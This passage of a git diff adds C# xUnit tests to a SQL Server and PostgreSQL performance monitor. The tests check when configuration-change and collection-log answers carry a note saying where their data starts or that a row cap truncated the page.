+    private static void AssertCoverageNote(JsonObject answer, DateTime dataStart, int hours)
+    {
+        Assert.True(answer["window_truncated"]?.GetValue<bool>());
+        var effectiveStart = ParseUtc(answer["effective_start"]);
+        Assert.True(Math.Abs((effectiveStart - dataStart).TotalSeconds) < 1, "the note names the server's first collection, not its first row");
+        Assert.Equal(effectiveStart.Ticks, ParseUtc(answer["data_start_utc"]).Ticks);
+        Assert.EndsWith("Z", answer["data_start_utc"]!.GetValue<string>(), StringComparison.Ordinal);
+        Assert.Null(answer["oldest_shown_utc"]);
+        var note = answer["truncation_note"]!.GetValue<string>();
+        Assert.StartsWith("partial window:", note, StringComparison.Ordinal);
+        Assert.Contains(dataStart.ToString("yyyy-MM-dd HH:mm", CultureInfo.InvariantCulture) + " UTC", note, StringComparison.Ordinal);
+        AssertWindowInstants(answer, hours, end: null);
+    }
+
+    private static void AssertCappedNote(JsonObject answer, DateTime oldestShown, int hours, DateTime? end = null)
+    {
+        Assert.True(answer["truncated"]?.GetValue<bool>(), "the page was cut at its limit");
+        Assert.True(answer["window_truncated"]?.GetValue<bool>());
+        Assert.True(Math.Abs((ParseUtc(answer["effective_start"]) - oldestShown).TotalSeconds) < 1);
+        Assert.Equal(oldestShown.Ticks, ParseUtc(answer["oldest_shown_utc"]).Ticks);
+        Assert.Null(answer["data_start_utc"]);
+        var note = answer["truncation_note"]!.GetValue<string>();
+        Assert.Contains("only the newest rows, back to " + oldestShown.ToString("yyyy-MM-dd HH:mm", CultureInfo.InvariantCulture) + " UTC", note, StringComparison.Ordinal);
+        AssertWindowInstants(answer, hours, end);
+    }
+
+    /// <summary>A server added two days ago, read over a week: each of the five reads says its data starts at the server's
+    /// first collection, with the three instants beside the sentence.</summary>
+    [Theory]
+    [InlineData(ConfigAndLogNoteStore.ServerConfigRead)]
+    [InlineData(ConfigAndLogNoteStore.DatabaseConfigRead)]
+    [InlineData(ConfigAndLogNoteStore.TraceFlagRead)]
+    [InlineData(ConfigAndLogNoteStore.PgConfigRead)]
+    [InlineData(ConfigAndLogNoteStore.CollectionLogRead)]
+    public async Task ARangeThatStartsBeforeCoverage_GetsTheNoteNamingTheCoverageStart_OnEachRead_AgainstDevPostgres(string read)
+    {
+        var answer = await AskAsync(read, "new", hours: 168);
+
+        AssertRows(read, answer);
+        Assert.NotEqual(true, answer["truncated"]?.GetValue<bool>());
+        AssertCoverageNote(answer, _store.End.AddDays(-2), hours: 168);
+    }
+
+    /// <summary>A server added two days ago whose configuration has not changed, read over a week: the tool answers that
+    /// nothing changed (<c>empty</c>, and <c>no_changes</c> for PostgreSQL), and the note still says the data starts at the
+    /// server's first collection, with the three instants beside it, so the grid does not read as a quiet week.</summary>
+    [Theory]
+    [InlineData(ConfigAndLogNoteStore.ServerConfigRead, "empty")]
+    [InlineData(ConfigAndLogNoteStore.DatabaseConfigRead, "empty")]
+    [InlineData(ConfigAndLogNoteStore.TraceFlagRead, "empty")]
+    [InlineData(ConfigAndLogNoteStore.PgConfigRead, "no_changes")]
+    public async Task AnEmptyAnswerOverANewServer_GetsTheNoteNamingTheCoverageStart_OnEachChangeRead_AgainstDevPostgres(string read, string status)
+    {
+        var answer = await AskAsync(read, "flat", hours: 168);
+
+        Assert.Equal(status, answer["status"]?.GetValue<string>());
+        Assert.NotNull(answer["message"]);
+        AssertCoverageNote(answer, _store.End.AddDays(-2), hours: 168);
+    }
+
+    /// <summary>The same envelope over a server monitored for months, whose snapshots sit inside a covered week, says
+    /// nothing: the note follows the coverage, not the empty answer.</summary>
+    [Fact]
+    public async Task AnEmptyAnswerOverACoveredServer_GetsNoNote_AgainstDevPostgres()
+    {
+        var answer = await AskAsync(ConfigAndLogNoteStore.ServerConfigRead, "flat-old", hours: 168);
+
+        Assert.Equal("empty", answer["status"]?.GetValue<string>());
+        AssertNoNote(answer);
+    }
+
+    /// <summary>A server monitored for months whose first change or run in the window comes days after it starts: the store
+    /// covered the whole range, so a quiet start is not a cut and no read says anything.</summary>
+    [Theory]
+    [InlineData(ConfigAndLogNoteStore.ServerConfigRead)]
+    [InlineData(ConfigAndLogNoteStore.DatabaseConfigRead)]
+    [InlineData(ConfigAndLogNoteStore.TraceFlagRead)]
+    [InlineData(ConfigAndLogNoteStore.PgConfigRead)]
+    [InlineData(ConfigAndLogNoteStore.CollectionLogRead)]
+    public async Task ACoveredRange_WhoseFirstRowComesLate_GetsNoNote_OnEachRead_AgainstDevPostgres(string read)
+    {
+        var answer = await AskAsync(read, "quiet", hours: 168);
+
+        AssertRows(read, answer);
+        AssertNoNote(answer);
+    }
+
+    /// <summary>A collection log page that fills its cap ends at the oldest run it returned, so the note names that run even
+    /// though the store covered the whole range, and at a window past the 168 hours the other reads stop at.</summary>
+    [Theory]
+    [InlineData(24)]
+    [InlineData(168)]
+    [InlineData(720)]
+    public async Task ACappedCollectionLog_NamesItsOldestReturnedRun_EvenOverACoveredRange_AgainstDevPostgres(int hours)
+    {
+        var answer = await AskAsync(ConfigAndLogNoteStore.CollectionLogRead, "capped", hours, limit: PageLimit);
+
+        AssertRows(ConfigAndLogNoteStore.CollectionLogRead, answer);
+        Assert.Equal(PageLimit, answer["runs"]!.AsArray().Count);
+        Assert.Equal("collection_time_desc", answer["order"]?.GetValue<string>());
+        AssertCappedNote(answer, _store.End.AddHours(-(PageLimit - 1)), hours);
+    }
+
+    /// <summary>The same read under a duration floor is ranked slowest first, a sample of the whole window whose oldest run
+    /// names no reach: the coverage rule stands. A covered server gets no note; a server added two days ago gets the
+    /// coverage note, not one naming the oldest run, and the same page newest first names that run instead.</summary>
+    [Fact]
+    public async Task ACollectionLogRankedSlowestFirst_KeepsTheCoverageRule_AgainstDevPostgres()
+    {
+        var covered = await AskAsync(ConfigAndLogNoteStore.CollectionLogRead, "capped", hours: 720, limit: PageLimit, minDurationMs: 0);
+        AssertRows(ConfigAndLogNoteStore.CollectionLogRead, covered);
+        Assert.True(covered["truncated"]?.GetValue<bool>(), "the ranked page was cut at its limit");
+        Assert.Equal("duration_ms_desc", covered["order"]?.GetValue<string>());
+        AssertNoNote(covered);
+
+        var added = await AskAsync(ConfigAndLogNoteStore.CollectionLogRead, "new", hours: 168, limit: PageLimit, minDurationMs: 0);
+        Assert.True(added["truncated"]?.GetValue<bool>(), "the ranked page was cut at its limit");
+        Assert.Equal("duration_ms_desc", added["order"]?.GetValue<string>());
+        AssertCoverageNote(added, _store.End.AddDays(-2), hours: 168);
+
+        var newestFirst = await AskAsync(ConfigAndLogNoteStore.CollectionLogRead, "new", hours: 168, limit: PageLimit);
+        AssertCappedNote(newestFirst, _store.End.AddHours(-(PageLimit - 1)), hours: 168);
+    }
+
+    /// <summary>A PostgreSQL changes page cut at its limit names its earliest changed_at (the page names no oldest-returned
+    /// field), and its <c>config_changes</c> status is read as rows. The same server read whole is covered and says nothing:
+    /// the note follows the cut, not the store.</summary>
+    [Fact]
+    public async Task ACappedPostgresChangesPage_NamesItsEarliestChange_AndItsStatusIsRowsNotAnEnvelope_AgainstDevPostgres()
+    {
+        const int Limit = 10;
+        var capped = await AskAsync(ConfigAndLogNoteStore.PgConfigRead, "capped", hours: 168, limit: Limit);
+
+        AssertRows(ConfigAndLogNoteStore.PgConfigRead, capped);
+        Assert.Equal(Limit, capped["changes"]!.AsArray().Count);
+        /* Setting k changed at End less 6 days plus k+1 hours, newest first: the page holds the last ten of thirty. */
+        var earliest = _store.End.AddDays(-6).AddHours(ConfigAndLogNoteStore.PgChangedSettings - Limit + 1);
+        AssertCappedNote(capped, earliest, hours: 168);
+
+        var whole = await AskAsync(ConfigAndLogNoteStore.PgConfigRead, "capped", hours: 168);
+        AssertRows(ConfigAndLogNoteStore.PgConfigRead, whole);
+        Assert.Equal(ConfigAndLogNoteStore.PgChangedSettings, whole["changes"]!.AsArray().Count);
+        Assert.False(whole["truncated"]?.GetValue<bool>());
+        AssertNoNote(whole);
+    }
+
+    /// <summary>A page that fills its cap shows the note only when its oldest run is later than the window's start, with no
+    /// slack: a page whose oldest run is the window's start shows the whole range and says nothing, and one whose oldest run
+    /// is a second after it was cut there. The window is anchored (as_of) so its start is exact.</summary>
+    [Fact]
+    public async Task ACappedPage_WhoseOldestRunIsTheWindowsStart_GetsNoNote_AndOneASecondLaterGetsIt_AgainstDevPostgres()
+    {
+        RequireStore();
+        const int Hours = 24;
+        const int Limit = 24;
+        var windowStart = _store.End.AddHours(-48);
+        var anchor = Anchor(windowStart.AddHours(Hours));
+
+        var equal = await AskAsync(ConfigAndLogNoteStore.CollectionLogRead, "edge-equal", Hours, Limit, anchor);
+        AssertRows(ConfigAndLogNoteStore.CollectionLogRead, equal);
+        Assert.True(equal["truncated"]?.GetValue<bool>(), "the page was cut at its limit");
+        Assert.Equal(windowStart.Ticks, ParseUtc(equal["oldest_returned_collection_time"]).Ticks);
+        AssertNoNote(equal);
+
+        var later = await AskAsync(ConfigAndLogNoteStore.CollectionLogRead, "edge-later", Hours, Limit, anchor);
+        AssertRows(ConfigAndLogNoteStore.CollectionLogRead, later);
+        AssertCappedNote(later, windowStart.AddSeconds(1), Hours, windowStart.AddHours(Hours));
+        Assert.Equal(windowStart.Ticks, ParseUtc(later["window_start_utc"]).Ticks);
+    }
+}
diff --git a/Darling/Darling.Tests/WebDataStartNoteConfigAndLogTests.cs b/Darling/Darling.Tests/WebDataStartNoteConfigAndLogTests.cs
new file mode 100644
index 0000000000..c9215a83fc
--- /dev/null
+++ b/Darling/Darling.Tests/WebDataStartNoteConfigAndLogTests.cs
@@ -0,0 +1,563 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.Json;
+using System.Text.Json.Nodes;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The server page's Config Changes grids (server, database, trace flags, and PostgreSQL's) and its two Collection Log
+/// grids say where their data starts (#4966). Each is a listed read (<see cref="WebDataStartNote.TableByRead"/>) over
+/// the snapshot table or the run log it diffs or shows; the two lists that can hit a row cap (the collection log and
+/// the PostgreSQL changes) name their oldest row. These cover what needs no store; the store's side is
+/// <see cref="WebDataStartNoteLiveTests"/>.
+/// </summary>
+public sealed class WebDataStartNoteConfigAndLogTests : IClassFixture<ConfigAndLogNoteStore>
+{
+    private readonly ConfigAndLogNoteStore _store;
+
+    public WebDataStartNoteConfigAndLogTests(ConfigAndLogNoteStore store) => _store = store;
+
+    private static readonly IReadOnlyDictionary<string, string> NewReads = new Dictionary<string, string>(StringComparer.Ordinal)
+    {
+        ["get_server_config_changes"] = "server_config",
+        ["get_database_config_changes"] = "database_config",
+        ["get_trace_flag_changes"] = "trace_flags",
+        ["get_pg_server_config_changes"] = "pg_server_config",
+        ["get_collection_log"] = "collection_log",
+    };
+
+    private const string WindowEnd = "2026-01-03T00:00:00Z";
+
+    /// <summary>What <c>get_collection_log</c> answers for a window holding more runs than its limit: the newest runs, with
+    /// the fields that say the cap cut the list, where the page ends and which order it came back in.</summary>
+    private const string CappedLog =
+        "{\"server\":\"sql01\",\"hours_back\":720,\"run_count\":200,\"truncated\":true,"
+        + "\"oldest_returned_collection_time\":\"2026-01-02T12:30:00.0000000\",\"newest_returned_collection_time\":\"2026-01-03T00:00:00.0000000\","
+        + "\"order\":\"collection_time_desc\",\"runs\":[{\"collector\":\"wait_stats\"}]}";
+
+    /// <summary>What <c>get_pg_server_config_changes</c> answers when its page was cut: the newest changes (listed here out
+    /// of order on purpose, so the oldest is found by value), no oldest-returned field, and a <c>status</c> that names the
+    /// page rather than an envelope.</summary>
+    private const string CappedPgChanges =
+        "{\"server\":\"pg01\",\"hours_back\":168,\"status\":\"config_changes\",\"change_count\":3,\"truncated\":true,"
+        + "\"changes\":[{\"changed_at\":\"2026-01-02T20:00:00\",\"name\":\"a\"},{\"changed_at\":\"2026-01-02T08:15:00\",\"name\":\"b\"},{\"changed_at\":\"2026-01-02T12:00:00\",\"name\":\"c\"}]}";
+
+    private static NpgsqlDataSource NeverConnects() =>
+        NpgsqlDataSource.Create("Host=127.0.0.1;Port=9;Username=x;Database=x;Timeout=1;Pooling=false");
+
+    private static readonly CancellationToken Cancelled = new(canceled: true);
+
+    /* A page of rows that is not capped, in the shape each read answers (the PostgreSQL one carries its page status). */
+    private static string Rows(string read) =>
+        string.Equals(read, "get_pg_server_config_changes", StringComparison.Ordinal)
+            ? "{\"server\":\"pg01\",\"hours_back\":168,\"status\":\"config_changes\",\"change_count\":1,\"truncated\":false,\"changes\":[{\"changed_at\":\"2026-01-02T20:00:00\"}]}"
+            : "{\"server\":\"sql01\",\"hours_back\":168,\"truncated\":false,\"order\":\"collection_time_desc\",\"changes\":[{\"x\":1}],\"runs\":[{\"collector\":\"wait_stats\"}]}";
+
+    [Fact]
+    public void EachGrid_IsAListedRead_TheWebMirrorServes_OverItsOwnSnapshotTableOrTheRunLog()
+    {
+        var dispatch = DarlingWebEndpoints.BuildReadDispatch();
+        var tabs = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "server-tabs.js");
+
+        foreach (var (read, table) in NewReads)
+        {
+            Assert.Equal(table, WebDataStartNote.TableByRead[read]);
+            Assert.True(dispatch.ContainsKey(read), read + " is not a read the web mirror serves");
+            Assert.Contains("\"" + read + "\"", tabs, StringComparison.Ordinal);
+
+            Assert.True(WebDataStartNote.TryGetSource(table, out var source), read + " names " + table + ", which the probe cannot read");
+            Assert.Equal(table, source.Relation);
+        }
+
+        /* The run log is its own source, edge and all; the snapshot tables are the collector tables the probe reads. */
+        Assert.True(WebDataStartNote.TryGetSource("collection_log", out var log));
+        Assert.Null(log.CollectorName);
+        Assert.False(PerformanceMonitor.Darling.Storage.DataWindowFloor.Source.TryForCollectorTable("collection_log", out _));
+    }
+
+    /* A range of an hour or less can never be cut by the store's coverage (the probe's 90-minute slack), so none of these reads asks
+       the store, which a data source that never connects, a cancelled token and a control read pin: the same answer at 168 hours
+       does reach the store. */
+    [Fact]
+    public async Task ARangeOfAnHour_MakesNoProbeCall_ForAnyOfThem_WhereTheSameReadOverAWeekDoes()
+    {
+        await using var store = NeverConnects();
+
+        foreach (var read in NewReads.Keys)
+        {
+            var rows = Rows(read);
+
+            Assert.Same(rows, await WebDataStartNote.AddAsync(store, read, "sql01", 1, null, rows, null, Cancelled));
+            await Assert.ThrowsAnyAsync<OperationCanceledException>(
+                () => WebDataStartNote.AddAsync(store, read, "sql01", 168, null, rows, null, Cancelled));
+        }
+    }
+
+    /* A newest-first list that hit its cap ends at the oldest row it returned, whatever the store covers: the collection log's
+       page (200 runs) names its oldest run at any length of window (the log keeps 60 days, so the page may ask 720 hours), and
+       asks the store nothing. */
+    [Fact]
+    public async Task ACappedCollectionLog_NamesItsOldestRun_AtAnyWindowLength_WithoutAskingTheStore()
+    {
+        var ct = TestContext.Current.CancellationToken;
+
+        var answered = await WebDataStartNote.AddAsync(null!, "get_collection_log", "sql01", 720, WindowEnd, CappedLog, null, ct);
+
+        var answer = Assert.IsType<JsonObject>(JsonNode.Parse(answered));
+        Assert.True(answer["window_truncated"]?.GetValue<bool>());
+        Assert.Equal("2026-01-02T12:30:00.0000000", answer["effective_start"]?.GetValue<string>());
+        Assert.Contains("back to 2026-01-02 12:30 UTC", answer["truncation_note"]?.GetValue<string>(), StringComparison.Ordinal);
+        Assert.Equal("2026-01-02T12:30:00.0000000Z", answer["oldest_shown_utc"]?.GetValue<string>());
+        Assert.Equal("2025-12-04T00:00:00.0000000Z", answer["window_start_utc"]?.GetValue<string>());
+        Assert.Equal("2026-01-03T00:00:00.0000000Z", answer["window_end_utc"]?.GetValue<string>());
+        Assert.Null(answer["data_start_utc"]);
+
+        /* The other listed reads keep the shared 168-hour ceiling: the same cap fields on a 720-hour answer name nothing. */
+        Assert.Same(CappedLog, await WebDataStartNote.AddAsync(null!, "get_waiting_tasks", "sql01", 720, WindowEnd, CappedLog, null, ct));
+    }
+
+    /* A duration floor flips the log to slowest first: the page is a sample of the whole window, so its oldest run names no reach
+       and the coverage rule stands. Without a store the probe fails and the answer comes back as it was; over a store holding a
+       server added two days ago, the same ranked page gets the coverage note and not the capped one. */
+    [Fact]
+    public async Task ACollectionLogRankedSlowestFirst_KeepsTheCoverageRule()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var slowest = CappedLog.Replace("collection_time_desc", "duration_ms_desc", StringComparison.Ordinal);
+
+        Assert.Same(slowest, await WebDataStartNote.AddAsync(null!, "get_collection_log", "sql01", 48, WindowEnd, slowest, null, ct));
+
+        Assert.SkipWhen(_store.DataSource is null, "Set DARLING_TEST_PG to a Postgres connection string to run the ranked-page coverage fact.");
+        var end = _store.End;
+        var ranked = "{\"server\":\"x\",\"hours_back\":168,\"run_count\":200,\"truncated\":true,"
+            + "\"oldest_returned_collection_time\":\"" + end.AddHours(-12).ToString("o", System.Globalization.CultureInfo.InvariantCulture) + "\","
+            + "\"order\":\"duration_ms_desc\",\"runs\":[{\"collector\":\"wait_stats\"}]}";
+        var server = ConfigAndLogNoteStore.ServerName(ConfigAndLogNoteStore.CollectionLogRead, "new");
+
+        var answered = await WebDataStartNote.AddAsync(
+            _store.DataSource!, "get_collection_log", server, 168, end.ToString("yyyy-MM-dd'T'HH:mm:ss'Z'", System.Globalization.CultureInfo.InvariantCulture), ranked, null, ct);
+        var answer = Assert.IsType<JsonObject>(JsonNode.Parse(answered));
+
+        Assert.True(answer["window_truncated"]?.GetValue<bool>());
+        Assert.NotNull(answer["data_start_utc"]);
+        Assert.Null(answer["oldest_shown_utc"]);
+        Assert.StartsWith("partial window:", answer["truncation_note"]!.GetValue<string>(), StringComparison.Ordinal);
+    }
+
+    /* The PostgreSQL changes page names no oldest-returned field: its oldest row is the earliest changed_at it carries. Its status
+       word names the page, not an envelope, so a page that was not cut still goes to the coverage probe, and a real envelope
+       does not. */
+    [Fact]
+    public async Task ACappedPostgresChangesPage_NamesItsEarliestChange_AndItsPageStatusIsNotAnEnvelope()
+    {
+        var ct = TestContext.Current.CancellationToken;
+
+        var answered = await WebDataStartNote.AddAsync(null!, "get_pg_server_config_changes", "pg01", 168, WindowEnd, CappedPgChanges, null, ct);
+
+        var answer = Assert.IsType<JsonObject>(JsonNode.Parse(answered));
+        Assert.True(answer["window_truncated"]?.GetValue<bool>());
+        Assert.Equal("2026-01-02T08:15:00", answer["effective_start"]?.GetValue<string>());
+        Assert.Contains("back to 2026-01-02 08:15 UTC", answer["truncation_note"]?.GetValue<string>(), StringComparison.Ordinal);
+        Assert.Equal("2026-01-02T08:15:00.0000000Z", answer["oldest_shown_utc"]?.GetValue<string>());
+        Assert.Equal(3, answer["changes"]!.AsArray().Count);
+
+        await using var store = NeverConnects();
+        /* The envelope that says nothing changed (no_changes) is probed like rows since #4966, so the answer for a new server says
+           where its data starts; one that keeps its own message (not_collected) is still left as it is. */
+        const string Unchanged = "{\"status\":\"no_changes\",\"message\":\"No configuration parameter changed value.\"}";
+        const string Elsewhere = "{\"status\":\"not_collected\",\"message\":\"This engine has no configuration parameters.\"}";
+        await Assert.ThrowsAnyAsync<OperationCanceledException>(
+            () => WebDataStartNote.AddAsync(store, "get_pg_server_config_changes", "pg01", 168, null, Unchanged, null, Cancelled));
+        Assert.Same(Elsewhere, await WebDataStartNote.AddAsync(store, "get_pg_server_config_changes", "pg01", 168, null, Elsewhere, null, Cancelled));
+        await Assert.ThrowsAnyAsync<OperationCanceledException>(
+            () => WebDataStartNote.AddAsync(store, "get_pg_server_config_changes", "pg01", 168, null, Rows("get_pg_server_config_changes"), null, Cancelled));
+    }
+
+    private static string Envelope(string status) =>
+        "{\"status\":\"" + status + "\",\"message\":\"Nothing in this window.\"}";
+
+    /* An empty span over a short history reads as "nothing happened" when it is only short (#4966), so the answer that says the
+       read looked and found nothing goes to the coverage probe the way rows do: a store that never connects and a cancelled
+       token make the probe show as an OperationCanceledException. Each admitted read answers its own word (the PostgreSQL
+       changes read says no_changes, every other one says empty). */
+    [Fact]
+    public async Task AnAnswerSayingTheReadLookedAndFoundNothing_GoesToTheCoverageProbe_OnEachAdmittedRead()
+    {
+        await using var store = NeverConnects();
+
+        foreach (var (read, word) in WebDataStartNote.NothingFoundStatusByRead)
+        {
+            Assert.Contains(read, WebDataStartNote.TableByRead.Keys);
+            await Assert.ThrowsAnyAsync<OperationCanceledException>(
+                () => WebDataStartNote.AddAsync(store, read, "sql01", 168, null, Envelope(word), null, Cancelled));
+        }
+
+        Assert.Equal("no_changes", WebDataStartNote.NothingFoundStatusByRead["get_pg_server_config_changes"]);
+        foreach (var read in new[] { "get_server_config_changes", "get_database_config_changes", "get_trace_flag_changes", "get_collection_log", "get_waiting_tasks" })
+        {
+            Assert.Equal("empty", WebDataStartNote.NothingFoundStatusByRead[read]);
+        }
+    }
+
+    /* not_collected, unavailable, invalid and an error keep their own message on every listed read, and so does a word that is
+       not the read's own "nothing found" one: the answer comes back as the same instance without a probe. */
+    [Fact]
+    public async Task EveryOtherStatus_KeepsItsOwnMessage_AndGetsNoNote_OnEveryListedRead()
+    {
+        await using var store = NeverConnects();
+
+        foreach (var read in WebDataStartNote.TableByRead.Keys)
+        {
+            foreach (var status in new[] { "not_collected", "unavailable", "invalid", "error", "empty", "no_changes", "precondition", "not_sampled" })
+            {
+                if (WebDataStartNote.NothingFoundStatusByRead.TryGetValue(read, out var admitted) && admitted == status)
+                {
+                    continue;
+                }
+
+                var envelope = Envelope(status);
+                Assert.Same(envelope, await WebDataStartNote.AddAsync(store, read, "sql01", 168, null, envelope, null, Cancelled));
+            }
+        }
+    }
+
+    /* The reads left out answer "no rows" with unavailable, which keeps its own message, and the admitted ones really answer the
+       word the list gives. Read from the tools' source, so a tool that changes its word fails here and gets decided on purpose. */
+    [Fact]
+    public void TheAdmittedReads_AnswerTheirWord_AndTheOthersAnswerUnavailable()
+    {
+        (string File, string Method)[] Where(string read) => read switch
+        {
+            "get_waiting_tasks" => [("DarlingMcpSessionTools.cs", "GetWaitingTasks")],
+            "get_pg_wait_sampling" => [("DarlingMcpPgWaitSamplingTools.cs", "GetPgWaitSampling")],
+            "get_pg_kernel_stats" => [("DarlingMcpPgKernelStatsTools.cs", "GetPgKernelStats")],
+            "get_pg_lock_stats" => [("DarlingMcpPgServerStateTools.cs", "GetPgLockStats")],
+            "get_pg_predicate_stats" => [("DarlingMcpPgPredicateTools.cs", "GetPgPredicateStats")],
+            "get_server_config_changes" => [("DarlingMcpConfigHistoryTools.cs", "GetServerConfigChanges")],
+            "get_database_config_changes" => [("DarlingMcpConfigHistoryTools.cs", "GetDatabaseConfigChanges")],
+            "get_trace_flag_changes" => [("DarlingMcpConfigHistoryTools.cs", "GetTraceFlagChanges")],
+            "get_pg_server_config_changes" => [("DarlingMcpPgServerStateTools.cs", "GetPgServerConfigChanges")],
+            "get_collection_log" => [("DarlingMcpDataTools.cs", "GetCollectionLog")],
+            "get_latch_stats" => [("DarlingMcpLatchSpinlockTools.cs", "GetLatchStats")],
+            "get_spinlock_stats" => [("DarlingMcpLatchSpinlockTools.cs", "GetSpinlockStats")],
+            "get_wait_stats" => [("DarlingMcpDataTools.cs", "GetWaitStats")],
+            "get_memory_grants" => [("DarlingMcpMemoryGrantTools.cs", "GetMemoryGrants")],
+            "get_resource_semaphore" => [("DarlingMcpMemoryGrantTools.cs", "GetResourceSemaphore")],
+            "get_plan_corrections" => [("DarlingMcpPlanCorrectionTools.cs", "GetPlanCorrections")],
+            "get_pg_wait_stats" => [("DarlingMcpPgWaitTools.cs", "GetPgWaitStats")],
+            "get_blocked_process_xml" => [("DarlingMcpBlockingTools.cs", "GetBlockedProcessXml")],
+            "get_long_query_completions" => [("DarlingMcpLongQueryTools.cs", "GetLongQueryCompletions")],
+            "get_memory_pressure_events" => [("DarlingMcpMemoryGrantTools.cs", "GetMemoryPressureEvents")],
+            "get_default_trace_events" => [("DarlingMcpDefaultTraceTools.cs", "GetDefaultTraceEvents")],
+            "get_health_parser_system_health" => [("DarlingMcpHealthParserTools.cs", "GetSystemHealth")],
+            "get_health_parser_severe_errors" => [("DarlingMcpHealthParserTools.cs", "GetSevereErrors")],
+            "get_health_parser_io_issues" => [("DarlingMcpHealthParserTools.cs", "GetIOIssues")],
+            "get_health_parser_scheduler_issues" => [("DarlingMcpHealthParserTools.cs", "GetSchedulerIssues")],
+            "get_health_parser_memory_conditions" => [("DarlingMcpHealthParserTools.cs", "GetMemoryConditions")],
+            "get_health_parser_cpu_tasks" => [("DarlingMcpHealthParserTools.cs", "GetCPUTasks")],
+            "get_health_parser_memory_broker" => [("DarlingMcpHealthParserTools.cs", "GetMemoryBroker")],
+            "get_health_parser_memory_node_oom" => [("DarlingMcpHealthParserTools.cs", "GetMemoryNodeOOM")],
+            "get_health_parser_significant_waits" => [("DarlingMcpHealthParserTools.cs", "GetSignificantWaits")],
+            "get_pg_deadlocks" => [("DarlingMcpPgDeadlockTools.cs", "GetPgDeadlocks")],
+            "get_pg_log_events" => [("DarlingMcpPgLogEventTools.cs", "GetPgLogEvents")],
+            "get_blocking" => [("DarlingMcpBlockingTools.cs", "GetBlocking")],
+            "get_deadlocks" => [("DarlingMcpBlockingTools.cs", "GetDeadlocks")],
+            "get_deadlock_detail" => [("DarlingMcpBlockingTools.cs", "GetDeadlockDetail")],
+            _ => throw new ArgumentOutOfRangeException(nameof(read), read, "a listed read this test does not know"),
+        };
+
+        string Body(string read)
+        {
+            var (file, method) = Where(read).Single();
+            var source = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", file);
+            var start = source.IndexOf("public static async Task<string> " + method + "(", StringComparison.Ordinal);
+            if (start < 0)
+            {
+                /* get_blocking's tool method hands off to an overload and is not async. */
+                start = source.IndexOf("public static Task<string> " + method + "(", StringComparison.Ordinal);
+            }
+
+            Assert.True(start > 0, read + ": " + method + " not found");
+            var end = source.IndexOf("[McpServerTool(", start, StringComparison.Ordinal);
+            return end < 0 ? source[start..] : source[start..end];
+        }
+
+        foreach (var read in WebDataStartNote.TableByRead.Keys.Where(r => !PgWindowReads.Any(p => p.Read == r)))
+        {
+            var body = Body(read);
+            if (WebDataStartNote.NothingFoundStatusByRead.TryGetValue(read, out var word))
+            {
+                /* The three SQL Server histories answer through the one NoChanges helper, whose word is empty; the nine system_health
+                   reads through EmptyAsync, whose rungs all answer empty or unavailable. */
+                var answersIt = body.Contains("\"" + word + "\"", StringComparison.Ordinal)
+                    || (word == "empty" && (body.Contains("NoChanges(", StringComparison.Ordinal) || body.Contains("EmptyAsync(", StringComparison.Ordinal)));
+                Assert.True(answersIt, read + " is admitted for " + word + " but its tool never answers it");
+            }
+            else
+            {
+                Assert.Contains("\"unavailable\"", body, StringComparison.Ordinal);
+                Assert.DoesNotContain("\"empty\"", body, StringComparison.Ordinal);
+            }
+        }
+    }
+
+    /* The PostgreSQL window aggregates, trend grids and Captured Plans (#4966): each read, the table it reads, the one word it
+       answers when it looked and found nothing (null: none is admitted), the words it answers rows with, and the other words
+       its tool file answers as literals. A word on the last list keeps its own message. */
+    private static readonly (string Read, string Table, string? Admitted, string[] RowWords, string[] KeptWords, string File)[] PgWindowReads =
+    [
+        ("get_pg_top_queries", "pg_statement_stats", null, [], ["unavailable"], "DarlingMcpPgStatementTools.cs"),
+        ("get_pg_blocking", "pg_blocking_edges", "no_blocking_sampled", ["blocking_sampled", "cycles_only"], ["not_sampled"], "DarlingMcpPgBlockingTools.cs"),
+        ("get_pg_database_stats", "pg_database_stats", "empty", ["database_activity"], ["unavailable"], "DarlingMcpPgDatabaseTools.cs"),
+        ("get_pg_session_states", "pg_session_states", "empty", ["session_states"], ["unavailable"], "DarlingMcpPgSessionStatesTools.cs"),
+        ("get_pg_io_stats", "pg_io_stats", "no_io_activity", ["io_activity"], [], "DarlingMcpPgIoTools.cs"),
+        ("get_pg_replication_stats", "pg_replication_stats", "empty", [], [], "DarlingMcpPgReplicationStatsTools.cs"),
+        ("get_pg_database_trend", "pg_database_stats", "empty", ["database_trend"], [], "DarlingMcpPgTrendTools.cs"),
+        ("get_pg_query_duration_trend", "pg_statement_stats", "empty", ["query_duration_trend"], [], "DarlingMcpPgTrendTools.cs"),
+        ("get_pg_wait_trend", "pg_wait_sampling", "empty", ["wait_trend"], [], "DarlingMcpPgTrendTools.cs"),
+        ("get_pg_io_trend", "pg_io_stats", "empty", ["io_trend"], [], "DarlingMcpPgTrendTools.cs"),
+        ("get_pg_plans", "pg_plan_capture", "empty", [], ["precondition"], "DarlingMcpPgPlanTools.cs"),
+
+        /* The vacuum, horizon, slot and write tiles. Only the horizon read admits a word: no_holder is answered after the log shows the
+           collector captured in the window, and unavailable (no capture logged) is kept. The other four answer their healthy-or-empty
+           word without asking the log whether the collector ran (no_pending_maintenance, no_slots), or say the collector has not
+           collected (unavailable), or say a window too short to difference holds nothing (empty), so none of those is admitted. */
+        ("get_pg_wraparound_risk", "pg_wraparound_stats", null, [], ["unavailable"], "DarlingMcpPgWraparoundTools.cs"),
+        ("get_pg_xmin_horizon", "pg_xmin_horizon", "no_holder", ["holder_present"], ["unavailable"], "DarlingMcpPgXminTools.cs"),
+        ("get_pg_autovacuum_health", "pg_autovacuum_stats", null, ["tables_with_pending_maintenance"], ["no_pending_maintenance"], "DarlingMcpPgAutovacuumTools.cs"),
+        ("get_pg_replication_slots", "pg_replication_slot_stats", null, ["slots_present"], ["no_slots"], "DarlingMcpPgSlotTools.cs"),
